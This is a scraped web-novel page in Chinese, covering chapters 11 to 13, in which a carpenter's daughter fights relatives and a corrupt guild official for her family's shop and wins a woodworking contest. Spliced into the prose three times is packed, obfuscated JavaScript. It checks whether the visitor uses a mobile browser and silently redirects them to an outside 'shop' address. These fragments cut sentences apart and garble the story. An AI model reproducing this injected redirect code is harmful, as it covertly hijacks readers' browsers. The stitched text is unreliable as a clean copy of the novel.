$(''#content'').append('' 的老人,却鲜少踏足此地,这会儿站在那高门槛前,竟有些踌躇。 “爹,进去吧。”钟舜华握了握他的胳膊。 钟成栋“诶”了一声,整了整衣襟,正要上前叩门,侧边巷子里却拐出两个人,急匆匆往这边赶来。 “二弟——二弟!” 打头的是个富态中年男子,穿着绸缎袍子,面容与钟成栋有四五分相似,只是眉眼间的精明算计与钟成栋截然不同。他身后还跟着个年轻男子,瞧着二十七八的模样,面色虚浮,眼神飘忽。 正是钟老大钟成梁,和他那嗜赌成性的儿子钟文斌。 “大哥。”钟成栋脸色难看地敷衍拱手。 “二弟!真巧啊!”钟成梁三步并作两步上前,一把抓住钟成栋的胳膊,脸上堆满热络的笑,“我听说你要来行会办事,特意带着文斌过来,看看能不能帮上什么忙。都是自家兄弟,你铺子里有事,我这做大哥的怎么能袖手旁观,你说是不是?” 钟成栋脸色微变,想抽回手,却被攥得更紧。 钟舜华自诩不是个聪明人,但在看到钟文斌那躲躲闪闪却又忍不住瞥向父亲手中契纸包裹的眼神时,还是明白了不少。 他们才从市易司出来,一刻没歇就来了会馆,这样都能碰见,这天底下哪有这么巧的事! 她跨上前一步,依葫芦画瓢地抓住钟成梁的胳膊,笑得人畜无害:“大伯。” “嘶——”钟成梁面色一变,疼得倒抽一口凉气,顷刻间松了手。 “大伯怎么了?”钟舜华不解。 “臭傻子,你把我爹怎么了?”钟文斌冲上来,想推钟舜华,却被钟成栋和钟成梁同时拦住。 “大伯没事。”钟成梁警告地瞪了儿子一眼,朝着钟舜华勉强挤出一个慈爱的笑,“华妮儿果真是好了,说得清楚话,也认得人了,就是手上没个轻重。” 钟成栋不想留在这里受这二人的气,面色更加冷淡:“一点小事,不劳大哥费心,请回吧。” “诶,这话见外了不是?”钟成梁依旧笑着,心思却再也藏不住,“听说你想把铺子过给华妮儿?不是大哥说,这病才好,该好好养着才是,不然万一有个反复……再说,女孩子家,终归是要嫁人享福的,哪有干这些粗活的道理?这祖传的铺子,还是得姓钟的男人来撑门户才稳妥。文斌他最近可是收了心,正想跟着二叔你好好学手艺呢!” 钟文斌在一旁忙不迭点头,挤出个讨好的笑:“二叔,我、我一定用心学!” 你算个什么东西?! 钟成栋胸膛起伏,牙关紧咬,口中的脏话几乎要忍不住喷涌而出。好在此时,行会的大门“吱呀”一声开了。 穿着体面的侍从站在门内,目光扫过门外四人,尤其在钟成梁脸上略微一顿,随即侧身:“钟掌柜,行首知晓你们来了,请进。” 会馆的正厅极宽敞,摆设却很是简朴。上首两把黄花梨木交椅,下头两排酸枝木大师椅,墙上错落挂着几幅墨宝,多是“匠心独运”、“精益求精”之类的勉励之语。 上首坐着位清癯老者,约莫已过花甲之年,须发花白,目光沉静,正是木作行首周老爷子。下手边坐着四五个管事,离周行首最近的那位中年人面色红润,眼神活络,是行会二把手,姓董。 钟成栋远远瞧见,偏头与女儿简单介绍几句,然后迈着碎步上前,恭敬行礼,说明来意,又将市易司过户需要行首担保之事道出。 周行首静静听完,清瘦的手指缓缓捻着腕上的紫檀念珠,未置可否,反而先看向钟成梁父子:“既然是钟氏家具铺的事,你们二位同来,又是为何?” 11. 第 11 章 钟成梁赶忙上前一步,满脸堆笑:“回行首的话,晚辈钟成梁,是成栋的大哥,我爹是钟进福,从前我还跟着他老人家来馆里拜会过您呢。” 他见周行首不接话,收了笑,神情忧愤起来:“行首,我家二弟并未与我这大哥商量,就私自要将祖铺传于侄女,晚辈以为,此事实在欠妥啊!” “女子终究要出嫁,铺子若随了外姓,岂不断了祖上传承?”他将钟文斌往前推了推,“行首,我儿文斌,虽是小辈,却一心向着木作行当,一直盼着能继承咱们钟家几十年的招牌。还请行首明鉴!” 他说得情真意切,仿佛全然是为家族考虑,钟成栋越听脸越黑,终于忍不住斥道:“当年爹过世前分了你一座宅子并五百两银,将铺子给了我,你当时不是没意见?如今又来说这些做什么?” 钟成梁不依不饶:“这铺子是祖传的,我是长子,本就有继承权,为何不能管?” “你……” “行了!在行首面前吵什么!”董二把手敲敲扶手,瞪了眼堂中几人,向周行首拱拱手,“行首,钟老大所言,也不无道理。祖业传承,确需慎重。况且……”他话锋一转,看向钟成栋,一副公事公办的模样,“钟掌柜,你铺子里上半年为了周转,是不是还通过咱们行会,借了一笔银子?这债未清,铺主变更,恐怕也有些妨碍吧?” 钟成栋脸色一白。那笔借款,是他断了胳膊后急需医治,铺子又有不少急活需要垫资,走投无路之下,经人介绍,以铺子为抵押,向行会的借贷处借的。 这借贷处设立之初,本是为了帮扶行会中遇到困难之人,可钟成栋借了后才发现上当,那张老金……竟私自改了规矩,利滚利,滚到后头,他根本还不起! 张老金自从上次被自家女儿吓唬后,就再没上门催债,钟成栋一时也将这事搁置,此刻被当众提出,他额角顿时沁出冷汗,气势弱下去:“董管事,那笔钱……我还在筹措,一定尽快归还。” 董二把手冷哼一声:“你这种老赖我见多了,都是这套说辞。行首,依我看,这种背信……” “借钱?就是那种打着商贷的由头,放的印子钱吗?”钟舜华突然出声,清脆的声音打破厅内凝滞的气氛。 “住口!胡说八道什么?!”董二把手起身厉斥,“这里轮得到你开口?” “慢。” 周行首睁眼,制止了董二把手。他打量片刻堂下那个眼神清亮、毫无怯意的年轻姑娘,沉声问道:“丫头,你想说什么?” 她上前一步,拱拱手:“回行首,我爹确是向行会借了一百两银,可才过了不到半年,欠款就翻到了三百两。还没到还账的日子,就有人带着地痞来家中催债,一番□□/烧,若不是我有几分力气反抗,只怕早被那带头的张老金卖进窑子里抵债了。”她不闪不避地看向周老爷子,“行首爷爷,我是个大字不识几个的野丫头,除了会做木工活儿,旁的事都不懂。我只想问问,行会借钱,向来是这样利滚利吗?” 钟舜华话音一落,满厅俱静。其他一直不曾开口的管事们面面相觑,看了看嘴唇发抖的董二把手,又看了看面色黑沉的周行首,神情微妙,默不作声。 周行首捻动念珠的手指停了下来,抬眼看向董管事。 董二把手一个激灵,脸色涨红,一拍椅子扶手:“黄、黄口小儿,休得胡言!行会借贷,向来都有明文账目,岂容你在这里信口诬蔑!张老金是何人?我从未听过!” “是吗?”钟舜华也不说信不信,只道,“可那张老金确实是隔三岔五带着人去我家门口叫骂,说我爹欠了行会的钱不还,街坊四邻都听见了。行会若是不认得这人,那就是他冒充行会名头,在外放贷逼债?这难道不该查一查,管一管么?” “你……!”董二把手气得手指发颤。行会中谁人不知,如今大多事务都由他董某拍板?没想到这愣头愣脑的丫头,竟敢在这种场合直接撕破脸,得罪于他。 周行首沉默片刻,缓缓开口,苍老的声音中满是不容置疑的威压:“董管事,此事,你可知情?” 董二把手后背被冷汗浸湿。他惶急对着周行首深深一揖:“行首明鉴!属下……属下实在不知有张老金此人!一定是下面人办事糊涂,或是有宵小冒充行会之名!属下今日回去便即刻严查!一定给行首一个交代!” 周行首深深看他一眼,将董二把手看得如芒在背,半晌,才轻“嗯“一声,算是同意。 董二把手暗暗松了口气。 周行首重新看向钟舜华,眼中少了审视,反倒多了些难以言喻的深意:“小丫头,有几分胆色,是个干大事的料子。但是——担保书一事,关乎传承和信誉,非比寻常。纵然你父亲有心传给你,也需得让行会众人信服,你确有承继钟氏招牌的能耐,而非只因你是他的女儿。” 钟舜华挠挠头:“如何信服?晚辈听不大明白,请行首爷爷明言。” 她直率的态度让周行首一怔。他呵呵一笑,面上的严肃松动几分,略一沉吟,道:“这样吧,今日既然你伯父与堂兄也在,口说无凭,便当场考校一番。后院料场有现成木料,限两个时辰,你们二人各自做一件最能代表自己手艺的物件出来。由老夫与几位行老一同品评。若你的手艺果真过人,这担保书,老夫便签了。” 钟成梁与钟文斌对视一眼,轻轻摇头,递给儿子一个安抚的眼色。 董二把手闻言坐直身,偏头看了右下首一眼。 末位的一位管事心领神会,起身道:“行首,属下这就去安排木料和工具。” 说罢,匆匆往后院走去。 . 后院料场宽阔,中间隔了一道木屏风,两边堆放着木料,工具也一应俱全。 董二把手指着分开放置的两堆木料,看了眼天色,高声道:“为示公平,木料都已备好。钟舜华用左边这批,钟文斌用右边这批。两个时辰为限,现在开始!” 钟成栋远远看到左边那堆木料,心顿时一沉。 那大多是边角料,纹理杂乱,甚至还带着疤结,木质看着也偏软,很不好落刀。而右边给钟文斌的,却都是纹理顺直、干燥均匀的好料子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908838|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他张口欲言,却见周行首遥遥坐在厅内,闭目养神。 一旁的董二把手阴沉的目光看过来,他嘴唇翕动,只得与钟成梁一起,退到里间避嫌。 钟舜华朝老爹轻轻摇头,做了个“没事”的口型。 她走到那堆次料前,看了一圈,弯腰拾起几块大小不一的杉木板,又挑了两根稍直的松木方,没用行会准备的尺规,只用手比量了几下,就操起锯子,“唰唰”地开始裁切板材,动作快得大多数人都没反应过来。 听到声音的钟文斌半晌才如梦初醒,这才赶紧跑到另一边开始干活。 她要做的是什么?几位被请来旁观的行老见她动作利落,目光都被吸引过去。 只见她将板材一块块拼合,用的都是最简单的榫卯样式,却严丝合缝。 一个时辰过去,雏形渐显。 竟是一口棺材? 不是厚实的寿材,是口薄板棺材,形制精巧,不像寻常丧葬用器,反而像件别致的摆件。 旁边的钟文斌却是另一副模样。 他平日游手好闲,即使早有准备,但又何曾真正静下心来学过手艺?平常能在家人眼皮底下混日子,上场了却需真本事。他拿着好料,却不知从何下手,一会儿把刨子推歪了,一会儿又把卯眼凿偏了,汗水顺着额角直往下淌,越急越错。 钟舜华全神贯注。棺材主体已成,她解开一直挎着的背包,从里头取出一套刻刀。 “你怎么……”董二把手见她没有用行会准备的刻刀,立刻起身阻止。 钟舜华歪歪头:“怎么,木匠不能用自己惯用的工具吗?” 她一条腿踩在锯木头的高案上,身子微微匍匐,神色坦然,眼神却锐利,像一头深山里蓄势待发的野豹。 “没这种规矩。”旁边须发花白的行老摸着胡须,“你既然自带了,当然可以。” 董二把手动动唇,不敢随意拂行老的面子,只好坐了回去。 钟舜华露出一个明朗的笑,朝那释放善意的行老点点头,又埋头继续干活。 刀刃落在平整的棺盖上,由浅入深,流畅的线条逐渐显现,却并不是棺材常见的福禄纹饰, 竟然是缠枝莲纹? 行老们面露不解,却也没中途打搅。过了午时,日头渐渐大起来,见二人都开始做修饰的活儿,几位行老并行首一同去了偏厅,用些饭茶歇息歇息。 料场上,几位老者的背影才消失不久,钟舜华就听得隔壁原本稀稀拉拉的动静停了会儿,突然变得又快又有条理起来。 她挑挑眉,冷哼一声,继续雕刻。 两个时辰将尽,钟舜华收起最后一刀,轻轻吹去木屑。 一口薄棺静立,原本柔和的缠枝莲纹在秋风瑟瑟中多了几分坚韧。 钟文斌面前摆的是个燕几,歪歪扭扭,接缝处还漏着光。但那桌边的花纹却是十分精美,远处山峦层叠,近处奇石耸立,松枝斜出,甚至还有一道细细的流水蜿蜒而下,如一副山水画般。 几位行老围拢上前,仔细查看二人作品。 12. 第 12 章 一位行老摸了摸棺材的榫卯接口,啧啧称奇:“这板材虽次,接缝处却严丝合缝,这手艺……没十几年功夫真下不来!可她这才多大?钟老二也是用心培养了。” 另一人眯着老眼凑近仔细瞧那缠枝莲纹,连连点头:“嗯——刻工虽然生涩些,但很有几分灵气,只是……怎会想起在棺材上刻这寻常家具才用的缠枝莲纹?” 钟舜华对上行老询问的目光,不好意思地坦诚道:“回行老爷爷的话,晚辈如今才只学了两三样花纹,就缠枝莲纹刻得熟练些。” “嗯?”几位行老闻言,哈哈大笑起来,“无妨无妨,雕刻本就是吃经验饭,越老越熟练,你如今还年轻,能刻出这样的,已然很不错了!” 隔着棺材,对面又有一人皱眉,提出质疑:“这板材这么薄,你为何不做摆件,却要做棺材?这样的棺材,只怕埋进土里,用不了几年就朽了。” 钟舜华不慌不忙:“行老说得对,这棺材的确薄了些。但这一来,晚辈最擅长的就是做棺材,既然是比试,当然要亮出全部的本事来。况且,越薄的棺材越是考验手艺,做得出厚棺材之人,未必能做出这样的薄棺材。二来,这薄板棺材虽不结实,却十分便宜,终归,可以给穷苦人家一个体面。” 行老们皆是点头:“好啊,好!”做生意最不缺聪明擅钻营者,却少有赤诚良善之人。 几人心里有了底,又去看钟文斌做的燕几。 这半人高的燕几开料粗糙,榫卯凹凸不平,比学了一两年的学徒还不如,可那桌边的山水纹却刻痕老辣,足见功力。几位行老皱着眉,相互递了几个眼色,竟是问也没问,留下一脸忐忑的钟文斌,径直背着手走了。 钟文斌见行老们似是对他的作品没什么质疑,顿时得意起来,朝钟舜华扬扬下巴。 蠢蛋!钟舜华毫不客气地回了个白眼,在侍从的引导下往厅堂去。 厅堂内。 周行首听完几位行老禀报,端着茶盏,目光沉沉地扫过堂中神色各异的几人,最终落在钟舜华脸上,眉头松下几分。 “我们手艺一道,心手相通,做出的物件,最能反应匠人的心境。舜华丫头,你能将不趁手的木料化为如此器物,雕刻虽未尽得你们祖传之风,却也别开生面。尤其是你这制棺木的手艺……连老夫都不得不服老啊!老夫主持行会多年,见过有天分的年轻人不少,却从未曾见过第二个如你这般天资出众的,更别说还是个姑娘家。” 他面上多了些感叹的笑意,“长江后浪推前浪,好!这担保书,我可以签给你。” 钟成栋大喜,搓着手就要上前。钟文斌一梗脖子,张口就要质问:“凭——”话刚出口,就被钟成梁一把捂住嘴。 钟成梁飞快瞟了眼董二把手,见他一副事不关己的模样,心头一梗,只好朝面色不虞的周行首讨好地笑笑。 “几十岁的人了,别让我把难听的话说得太明。”周行首点了一句,收回厌恶的目光,苍老的声音再次响起,压住所有骚动,“字虽然可以签,但丑话得说在前头。钟氏家具铺在京城立户三代,名声手艺,皆属中上。行会向来有维护业内铺户稳定传承之责。舜华丫头终究是女子,将来婚嫁,这铺子难免随之入别家,或因此荒废。老夫不能坐视一家老字号有此风险。” 他扫了眼惴惴不安的钟成栋,语气缓了缓:“当然,老夫也不是不讲情理之人,就厚颜给你二人出个主意。” 钟成栋连忙拱手:“还请行首明示。” 周行首捻了捻念珠:“若要此担保书长久有效,保铺子安稳传承,你需在一个月内,为你女儿招赘一婿,入门支撑门户,将钟氏的招牌稳稳立住。否则,为免祖业旁落,老夫只能依行规,建议衙门将此铺子交予更加名正言顺的钟姓男丁掌管。” 他话未点明,但意思却很是明了。要么招赘,要么把铺子给钟文斌。 “行首!”钟成栋急道。 周行首抬手止住他:“这并非老夫一人之意,乃是与行老们商量过的。即是为了行会发展,也是为你钟家的祖业考量。成栋,你如今撑不住门庭,老夫却不能眼看着进福一辈子的心血,就此埋没。” 钟成栋听他提起已故的父亲,动了动唇,没再反驳。 “限期一月,过时不候。”周行首说完,不再多言,提笔在那份早已备好的担保文书上签下名字,用了印。 作为“唯一男丁”的钟文斌心里多了几分底气,以为自己还有机会,当场就想再争辩几分,却被钟成梁死死拉住。 钟成梁脸上肌肉抽动,勉强挤出一个比哭还难看的笑,对钟成栋拱拱手:“二弟,恭喜了。侄女……真是好手艺。” 那“好手艺”三个字,掩不住地咬牙切齿。 钟成栋心中百味杂陈,对大哥一家早已寒透心,可那点可悲的血缘牵绊着,又让他说不出太难听的话,只是僵硬地点了点头。 钟舜华却没那么多弯弯绕绕,她笑着朝周行首躬身:“多谢行首爷爷。” 周行首嘴角浮起一点笑,挥挥手:“去吧。” 钟家人先行离去,行老们与行首寒暄几句,也一并请辞。 经过方才比试的料场,钟舜华突然走到钟文斌身边,笑着搭上他做的燕几:“文斌哥哥,这就是你做的东西?” 钟文斌莫名从她语气里听出了嘲讽,他面色阴沉下来:“关你什么事!” “我好奇呗,问都不让问?”她随手拍了拍那个厚重的实木燕几,带起一阵灰。 钟文斌方才已经被自家老爹敲打过,也不敢再生事,只气冲冲瞪她。 “文斌哥哥,”钟舜华像没看见一样,用只有近处钟家几人能听到的声音说,“这燕几没打好,到底是料子不行,还是手艺太差呀?” 说话间,手指微微一用力。 “咔嚓”一声轻响,实木燕几的边角竟被她硬生生掰下了一块,露出参差的木茬,新鲜又刺眼。 钟文斌一下子瞪大眼,像被她捏住喉骨一样,骇得魂飞魄散,踉跄后退一步,脚下一软,险些瘫坐在地,见鬼一般看着她。钟成梁也被震慑住,脸颊上的肥肉微微抽动。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912951|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钟舜华松开手,木块落地,滚了一圈,“没出息。” 她不再理会面无人色的堂兄和大伯,拉着还在发愣的父亲,径直离去。 走出行会大门很远,心有余悸的钟成栋才找回自己的声音,忧虑重重:“华儿,你未免太张扬了些,老大一家就算了,这董管事……” 钟舜华不赞成:“爹,行事太过软弱,就算是只大虫,也得被那街边的哈巴狗儿按着咬。” 钟成栋抽抽嘴角:“那叫虎落平阳被犬欺,你这憨妮子……”他无奈一笑,沉重的心情被这一打岔,也缓和不少。罢了,走一步看一步。只是,“这短短一个月内就要招个赘婿,可如何是好?” 钟舜华将担保书仔细折好,放进他包裹中,望着前方街道熙攘人流,目光飘远,鼻尖莫名闻到了某种靡丽的花香。 “没事,”她没心没肺地笑着,面上带上一种让人信服的平稳,“总会有办法的。” . 行会正厅内,外人散尽,只剩下周行首与垂手立在一旁的董二把手。 “小董,”周行首缓缓开口,声音里听不出喜怒,却让对面人头皮发紧,“你如今倒是愈发聪明了。” 董二把手脸色难看,“噗通”一声跪下:“求行首宽恕!是属下驭下不严,险些让人坏了行会名声!属下一定彻查严办!” “是驭下不严,还是鬼迷心窍?” “属下……”董二把手再难狡辩。 周行首看着他,半晌,才道:“手脚干净些,有些钱,拿着烫手。看在你多年辛苦,今日我给你留几分颜面。你好自为之。” “是!是!属下明白!谢行首开恩!”董二把手连声应下,后背早已被冷汗彻底湿透。直到周行首起身离开,他才敢慢慢抬起头来,眼底翻涌起掩盖不住的后怕与怨毒。 钟舜华……哪里冒出来的死丫头! . 街上,钟成栋二人想趁着天色未黑,赶紧再去一趟市易司,今日就将事情办妥,却突然听得后头传来一阵呼唤声: “钟老二,钟丫头,等等!” 原来是比试时为钟舜华说话的那位贺行老,正掀开马车车帘,吩咐车夫追来。 钟舜华停下驴车,拱手:“行老爷爷。” 钟成栋也招呼道:“贺行老。” 贺行老笑道:“舜华丫头,可愿下车来与老头子同饮一杯?” 钟成栋心中一喜。这位贺行老可是业内大家,年轻时曾被工部召去,参与过天家楼阁的修建。他老人家最是爱才,心情好时,还会指点几句,如今追出来,怕是看中了自家闺女的天分。 他忙推推钟舜华:“还不谢谢行老?” 钟舜华却有些为难:“可我还得带爹爹去市易司。” “他自己去不就得了?办个事还非得两个人不成?”贺行老摆手,忽而反应过来,钟成栋如今断了手,怕是驾不了车。他轻咳一声,扶着马夫的胳膊下了车,看了眼不远处的茶楼,“这样,我们爷孙俩去楼里喝一盏,让你爹坐我的马车去!” 13. 第 13 章 茶楼临窗的雅座清静,推开雕花木窗,还能看见楼下小巷里金黄的梧桐树。 跑堂小二上了两盏君山银针,茶汤清亮,热气袅袅。 贺行老抿了口茶,放下茶盏,目光落在钟舜华身上,少了先前在会馆里的威严,多了几分长辈的慈和。 “舜华丫头,你今日做的那口薄棺,老夫看了,心里也只有一个‘服’字。”他见她对这些茶具并不熟悉,体贴地替她分了茶,“分给你的木料次了些,甚至算得上粗劣,老夫估摸着,怕是有人在从中捣鬼……” 钟舜华隐约猜到几分,但也没随意说出口。 “董天翔。”贺行老冷哼一声,直言不讳,“你以后防着他些,此人最是心眼小。不过——好在你争气,那口棺接缝之严密,形制之规整,已经远超那些几十年的老匠人。这手艺,是老天爷赏饭吃,旁人羡慕不来。” 钟舜华被夸得有些不好意思,双手捧起茶盏轻轻抿了一小口:“行老爷爷过奖了,我就是手熟。” “手熟?”贺行老摇头,“手熟只能做出工整的物件,做不出那等韵味来。”他顿了顿,搁下茶盏,话锋微转,“不过,你那棺盖上刻的缠枝莲纹……倒让老夫看出些旁的东西。” 钟舜华知道雕刻不是自己的长项,坐直了些:“请行老爷爷指点。” “谈不上指点,只是说说老夫的看法。”贺行老手指蘸了点茶水,在深漆的桌面上浅浅画了几道,“你看,你这莲花瓣的走势和叶脉的曲折,虽然尽力模仿你父亲的手法,力求相像,却总显得……有些束缚。就好比一个半大孩子,明明身段灵活,能跑能跳,却偏要学着大人的模样一步步慢行,结果反而放不开手脚,落得个四不像。” 钟舜华缓缓点头。 贺行老看向她,一双历经沧桑的老眼显得深邃:“雕刻一道,虽说是匠艺,但到了高处,便与作画无异。作画,讲究的是胸中有丘壑,下笔如有神,而不是对着画谱,一笔一划地硬摹。雕刻也是如此,花纹是死的,工匠是活的。你既然手上功夫这般灵巧,何不照你自己的心意去走刀?哪怕一开始走得歪些野些,那也是你自己的东西,总强过一辈子跟在别人身后模仿。” 钟舜华听得认真,眉头却拧作一团。贺行老的话,她似懂非懂,云里雾里。 贺行老看出她的茫然,也不急,从怀中取出一张折叠整齐的宣纸,在桌上缓缓展开:“你看这个。” 纸上是一幅拓印的山水图,墨色清晰。 远处的山峦是浅浅的淡影,近处嶙峋的怪石却墨色浓厚,几根硬朗的松枝斜在柔软如缎带的流水上,一股特有的意境扑面而来。 “这是从你那堂兄做的燕几上拓下来的。”贺行老抖了抖画纸,语气带着惋惜,“这个帮他作弊之人,品质是低劣了些,但单论这刻工的技艺与意境……老夫却要说句公道话,比你强上不少。这也是为何,我们几人一看,就知那不是你堂兄那种毛头小子能刻出来的。此人刀法已自成一派,线条行云流水,布局也疏密有致,没什么匠气死板之感。你看这水纹的走向,这山石的皴法……若非他胸中有真山水,刀下有硬功夫,根本不可能做出如此佳刻。” 钟舜华早在比试时就知道,这绝不会是钟文斌刻出的东西。但此时就着贺行老的点评细看,才体会到其中精妙。 那些山石的纹理,似乎能摸到上头的凹凸,那流水的波纹,仿佛能听见泠泠的水声。就像……她找不到合适的词形容,就像自己真的身处山水之间一般。 “我明白行老爷爷的意思了。”她抬起头,眼神清澈,“这画……这刻,真好。比我刻的那些死板的花叶子好多了。” 贺行老欣慰点头:“你刻的并不算差,现下又能看明白什么是好,便是有悟性。只是……”他叹了口气,“灵气是最不好把控之物,还是得早日形成自己的流派,万不可再照猫画虎了。” 贺行老说的这些话,都是肺腑之言。可却也只对那些行业顶尖之人有用,如钟家这样家道中落的小作坊,又哪里能有什么流派呢? 钟舜华笑了笑,坦荡中带着一丝无奈的豁达:“行老爷爷,我跟您说实话吧。我就是个没怎么念过书的野丫头,前些年还是个痴傻儿,脑袋空空,最近才算清明些。字都认不全呢,更别说作什么画,懂什么意境了。我能依样画葫芦,把看到的花纹刻得像模像样,全凭手熟和一股子笨力气。您说的那些什么‘丘壑’,‘自己的心意’……我这儿,”她指了指自己的心口,“好像还是空空的,根本不知该如何落刀。” 她说得直白,没有自怜自艾,只是陈述事实。贺行老闻言,怔了怔,看着眼前姑娘明亮中却带着些许懵懂的眼睛,心中那点惜才的遗憾愈发浓重起来,终是化作一声悠长的叹息。 “是老夫想当然了。”他摇摇头,语气温和,“书画一事,光有灵气还不够,还得家境优渥,自幼熏陶,博览群书,游遍大好河山,才能一点点滋养出来。你家的境况……唉,是老夫苛求了。”他是真觉得可惜,这般巧手,如果再配上更广阔的眼界与学识,将来的成就,恐怕不可限量。 钟舜华也不觉得难堪,只抿唇笑了笑,没说话。 沉默片刻,贺行老灵光一现,忽又抬眼,提议道:“不过,舜华丫头,路并非只有一条。你自己虽画不出来,却未必不能做出有灵气的物件。” 钟舜华眼睛微微一亮。 “你可以去找那些会画的人。”贺行老道,“请他们为你设计图样。你依着好图样来做,借他人心中的‘丘壑’,来展现你自己的手艺。只要作画之人与雕刻之人足够默契,两者结合,未必不能出彩。京城之中,擅画者多如牛毛,虽大多是清高之辈,但也不乏需要银钱周转的文人画师。只是……”他顿了顿,“与读书人打交道,一方面,润笔费恐怕不菲,另一方面,也要费些心思交游。” 钟舜华听完,脸上却不见愁容,反而扬起一个信心十足的笑容:“这个法子好!谢谢行老爷爷指点!等我家铺子开起来,挣了钱,我就去寻那画得最好的人,买最好看的图纸!” 她的话带着一股子天真的笃定,好像挣钱买画是一件再简单不过的事。贺行老被她的乐观豁达感染,不由也笑了起来:“好,难得后生有你这样的志气!只是,不求最好,但求最合适。老夫等着,看你刻出让人眼前一亮的物件来。” “一言为定!”钟舜华笑得眼睛亮晶晶。 不多时,贺行老家中的仆役寻到茶楼,在他耳边低语几句。 贺行老微微皱眉,抬眼看了眼老仆,起身朝钟舜华告别:“舜华丫头,老夫家中有些琐事,先行一步。” 钟舜华赶紧站起来行礼相送。 贺行老走到门口,又回头,指了指桌上那张拓印的山水图:“这图你留着吧。在再观摩观摩他的刀法,体会体会意境,对你而言或有裨益。若日后在技艺上有什么疑惑,欢迎来府上寻老夫。” “谢谢行老爷爷!”钟舜华真心实意地道谢,目送老人离开。 雅座内安静下来。 钟舜华重新坐下,将拓印图移到面前,就着窗外透入的晚霞,细细地看。她的手指无意识地描着画上的线条,全神贯注,连手边那盏凉透的茶都忘了。 看得入神时,旁边忽然伸过来一只手。 手指修长白皙,骨节匀称,指尖透着浅淡的粉,指甲修剪得圆润干净。就这样猝不及防地,从她眼前一闪而过,抽走了她手中的画纸。 “啧,”一道磁沉的声音在身侧响起,慵懒中带着挑剔,“山形僵滞,水纹死板,这画的什么糟心山水?难看。” 钟舜华先是一愣,猛地抬头,眼睛倏地亮了:“邬峤?!” 不知何时出现的邬峤站在桌旁,一改初见时华丽的风格,只穿了一身月白的素锦袍,外罩同色纱氅衣。满头珠翠不再,及腰墨发只用了一根简单的白玉簪半束,少了些秾丽,多了几分清雅疏离。只是那精致的眉眼,依旧夺人心魄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921335|192433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小圆抱着个暖手炉,乖巧地立在他身后半步,正偷偷朝钟舜华眨眼睛:“漂亮娘子~” “小圆!”钟舜华惊喜地想起身,“你们怎么在这儿?” 邬峤十分自然地在她对面的空位坐下,随手丢开那张被他批得一无是处的山水图:“出来逛逛,透透气。”他懒洋洋扫过钟舜华面前剩下的半盏茶,“怎么一个人在这儿发呆?茶都凉了。” “哦,刚才和行会里一位长辈说事儿来着。”钟舜华老实回答,目光却不由自主地被小圆顺手放在桌边的食盒吸引。 食盒的用料和花色十分讲究,缝隙间隐隐散发出一股淡淡的甜香。钟舜华的狗鼻子立刻闻出,是糕点。 香气不依不饶地往她鼻子里钻,下一刻,一连串清脆的“咕噜”声响起,在安静的雅座里格外清晰。 钟舜华脸上一热,有些窘迫地捂住肚子。这会儿才想起,忙了一整天,还没来得及吃饭呢。 邬峤一愣,眉梢微动,眼底掠过一丝极淡的笑意。他抬手,将那盒糕点往钟舜华面前推了推:“喏。” 小圆在一旁微微睁大了眼睛。 钟舜华看着那近在咫尺的诱人的糕点,咽了下口水,徒劳摆手:“不用不用,我……我不饿。” 话音刚落,肚子又叫了一声。 邬峤撑着额头失笑,漫不经心地揭开食盒:“我尝过了,不好吃,你要不要,不要就扔了喂狗。”说罢,作势就要喊小圆把东西扔出去。 小圆生无可恋地翻了个白眼。不爱吃,方才为何要让她排整整一个时辰的队去买! “别!我吃!”钟舜华连忙按住他的手,看到里边花瓣状的粉嫩点心,眼睛都挪不开了。她顶着邬峤笑意莫名的目光,拿起一块,迫不及待咬了一口。 香甜软糯的口感在口中化开,她满足地眯了眯眼:“好吃啊,哪里不好吃?扔了多可惜,浪费粮食!” 邬峤“嗤”一声,抽回手,道了声“吃货”,抿了抿微微发干的唇面,顺手取过钟舜华手边的茶盏,浅啜了一口冷茶。 小圆这会儿真是如遭雷击,忍不住拔高声音:“公子!你……” 邬峤皱眉,瞥了她一眼。 小圆立刻收声:“婢子疏忽,这就去叫人上茶。” 钟舜华奇怪地看向对面二人,看不明白,又埋头苦吃。 邬峤撑着下巴看她,忍不住吐槽:“没吃相。” 钟舜华头也不抬:“出门在外,都是朋友,不必讲究那些虚的。” “哦?朋友?”邬峤手上一顿,目光落在她唇边沾着的糕点屑上,指尖无意识地点了点杯壁,未置可否。 新茶上桌,小圆低着头,余光在两人之间转了又转,忽而“嘿嘿”一笑。 邬峤放下茶盏,指腹在杯口轻蹭了蹭,没喝新上的茶,又瞥了小圆一眼。 小圆立刻会意,收敛笑容,一脸严肃地再次转身唤来跑堂小二,让人将桌上刚上的茶具收拾干净。 